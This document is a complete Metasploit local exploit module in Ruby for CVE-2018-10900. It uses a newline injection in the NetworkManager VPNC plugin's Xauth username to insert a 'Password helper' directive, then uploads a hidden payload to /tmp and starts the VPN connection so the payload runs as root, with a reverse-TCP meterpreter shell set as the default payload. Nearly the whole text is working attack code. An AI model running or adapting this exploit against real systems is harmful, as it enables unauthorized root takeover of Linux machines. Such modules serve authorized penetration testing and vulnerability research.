Network Manager VPNC Username Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Network Manager VPNC Username Privilege Escalation',  
'Description' => %q{  
This module exploits an injection vulnerability in the Network Manager  
VPNC plugin to gain root privileges.  
  
This module uses a new line injection vulnerability in the configured  
username for a VPN network connection to inject a `Password helper`  
configuration directive into the connection configuration.  
  
The specified helper is executed by Network Manager as root when the  
connection is started.  
  
Network Manager VPNC versions prior to 1.2.6 are vulnerable.  
  
This module has been tested successfully with VPNC versions:  
1.2.4-4 on Debian 9.0.0 (x64); and  
1.1.93-1 on Ubuntu Linux 16.04.4 (x64).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Denis Andzakovic', # Discovery and exploit  
'Brendan Coles' # Metasploit  
],  
'DisclosureDate' => 'Jul 26 2018',  
'References' =>  
[  
['CVE', '2018-10900'],  
['URL', 'http://seclists.org/oss-sec/2018/q3/51'],  
['URL', 'https://pulsesecurity.co.nz/advisories/NM-VPNC-Privesc'],  
['URL', 'https://gitlab.gnome.org/GNOME/NetworkManager-vpnc/commit/07ac18a32b4'],  
['URL', 'https://security-tracker.debian.org/tracker/CVE-2018-10900'],  
['URL', 'https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-10900.html'],  
['URL', 'https://launchpad.net/ubuntu/+source/network-manager-vpnc/0.9.8.6-1ubuntu2.1'],  
['URL', 'https://www.debian.org/security/2018/dsa-4253'],  
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1605919'],  
['URL', 'https://bugzilla.novell.com/show_bug.cgi?id=1101147']  
],  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'SessionTypes' => ['shell', 'meterpreter'],  
'Targets' => [['Auto', {}]],  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',  
'WfsDelay' => 10,  
'PrependFork' => true  
},  
'DefaultTarget' => 0))  
register_options [  
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])  
]  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
rm_f path  
write_file path, data  
register_file_for_cleanup path  
end  
  
def upload_and_chmodx(path, data)  
upload path, data  
cmd_exec "chmod +x '#{path}'"  
end  
  
def check  
unless command_exists? 'nmcli'  
vprint_error 'Network Manager nmcli utility is not installed'  
return CheckCode::Safe  
end  
vprint_good 'nmcli utility is installed'  
  
CheckCode::Detected  
end  
  
def exploit  
if is_root?  
fail_with Failure::BadConfig, 'Session already has root privileges'  
end  
  
if check != CheckCode::Detected  
fail_with Failure::NotVulnerable, 'Target is not vulnerable'  
end  
  
@payload_name = ".#{rand_text_alphanumeric rand(10..15)}"  
payload_path = "#{base_dir}/#{@payload_name}"  
  
print_status 'Adding VPN connection...'  
vpn_data = []  
vpn_data << '+vpn.data "IKE DH Group = dh2"'  
vpn_data << "+vpn.data 'IPSec ID = #{rand_text_alphanumeric 5..10}'"  
vpn_data << '+vpn.data "IPSec gateway = 127.0.0.1"'  
vpn_data << '+vpn.data "IPSec secret-flags = 4"'  
vpn_data << '+vpn.data "Local Port = 0"'  
vpn_data << '+vpn.data "NAT Traversal Mode = natt"'  
vpn_data << '+vpn.data "Perfect Forward Secrecy = server"'  
vpn_data << '+vpn.data "Vendor = cisco"'  
vpn_data << '+vpn.data "Xauth password-flags = 4"'  
vpn_data << "+vpn.data \"Xauth username = #{rand_text_alphanumeric 5..10}\nPassword helper #{payload_path}\""  
vpn_data << "+vpn.data 'ipsec-secret-type = #{rand_text_alphanumeric 5..10}'"  
vpn_data << "+vpn.data 'xauth-password-type = #{rand_text_alphanumeric 5..10}'"  
res = cmd_exec "nmcli connection add con-name #{@payload_name} type vpn ifname '*' vpn-type vpnc -- #{vpn_data.join(' ')}"  
if res.include? 'Error'  
fail_with Failure::Unknown, 'Could not create VPN connection'  
end  
  
res = cmd_exec 'nmcli connection'  
unless res.include? @payload_name  
fail_with Failure::Unknown, 'Could not create VPN connection'  
end  
  
print_status 'Uploading payload...'  
upload_and_chmodx payload_path, generate_payload_exe  
  
print_status 'Starting VPN connection...'  
cmd_exec "nmcli connection up #{@payload_name} & echo "  
end  
  
def cleanup  
print_status 'Removing VPN connection...'  
res = cmd_exec "nmcli connection delete #{@payload_name}"  
unless res.include? 'successfully deleted'  
print_warning "Could not remove VPN connection #{@payload_name}"  
end  
super  
end  
end  
`